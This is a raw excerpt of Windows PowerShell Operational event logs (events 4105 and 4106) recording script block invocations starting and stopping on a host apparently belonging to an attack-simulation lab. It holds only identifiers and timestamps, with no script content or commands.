Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030552
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030550
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030549
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030544
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030543
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030536
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030535
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030534
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030521
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030520
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030519
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030518
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030506
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030505
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030504
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030503
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030502
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030501
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2030500
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2030499
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
